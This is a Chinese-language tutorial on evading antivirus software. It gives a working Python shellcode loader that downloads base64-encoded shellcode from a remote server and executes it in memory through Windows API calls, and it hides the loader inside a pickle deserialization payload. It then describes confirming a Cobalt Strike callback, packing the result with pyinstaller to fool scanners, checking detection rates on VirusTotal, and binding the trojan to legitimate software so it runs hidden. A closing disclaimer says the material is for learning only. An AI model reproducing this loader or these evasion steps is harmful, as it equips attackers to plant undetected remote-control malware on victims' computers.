首先是需要将加载shellcode的代码进行序列化:
import pickle
import base64
shellcode = """
import ctypes,urllib.request,codecs,base64
#下面请求远程服务器上的shellcode(base编码,因为下面请求了shellcode会先进行base64解码,也可以使用其他编码,举一反三)
shellcode = urllib.request.urlopen('http://IP/xxx.txt').read()
#填写你的远程服务器IP,或者你可以跟exe一起打包,或者采用图片隐写,看你骚不骚了,记得先base64编码再写入txt
shellcode = base64.b64decode(shellcode)
shellcode =codecs.escape_decode(shellcode)[0]
shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode))
)
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))"""
class A(object):
def __reduce__(self):
return (exec, (shellcode,))
ret = pickle.dumps(A())
ret_base64 = base64.b64encode(ret)
print(ret_base64)
代码都给你写上标注了,这只是思路,切记要举一反三。 先测试你的shellcode能不能访问到,如图:
然后py上面的代码,会生成一段序列化代码,如下图:
将这段代码复制,然后创建第二个py脚本,内容为下面:
#conding:utf-8
import base64,pickle,ctypes,urllib.request
shellcode =将你的反序列化代码写入这里
pickle.loads(base64.b64decode(shellcode))
然后我们运行这第二个py脚本,若CS上线了代表反序列化执行成功,如下图:
可以看到成功上线cs,接下来就是要把py脚本进行exe打包了,这里可以使用pyinstaller
pyinstaller -F 1.py --noconsole -i xxx.ico --key 123456789
-i 可以指定图标,这个图标也会在进程里显示,--key加入你的密钥,来混淆杀软,具体过程我就不演示了吧,如果你不动手永远都不会,还是给看下最终效果吧,下图是生成exe后:
然后来看下免杀效果吧,直接上传到VT查杀平台,这个平台包含了全世界绝大多数主流杀软,国内的某360、某绒、某讯。
接下来,我们可以利用软件将这个马捆绑到正常的软件上,可以实现自启动、生成临时目录释放文件,自我删除、加壳(加强壳如mp壳等有很多杀毒会直接报毒,因为他们的思想是,不管我能不能查杀到你,但只要你的壳够强!我就报你是病毒,谁让你太强呢),所以一般都直接压缩壳~软件正常启动,木马隐藏运行,不太想演示这些了,这种工具很多的,看下图吧:
最后,以上内容只是用来学习免杀思路,让我们知道黑客都是怎样让你毫无感觉的被控制的,若有人恶意利用,后果自负,与本人无关。
网络安全法是什么!没看过的必须要认认真真一字一句阅读!遵守法律,谨记我们是白帽子。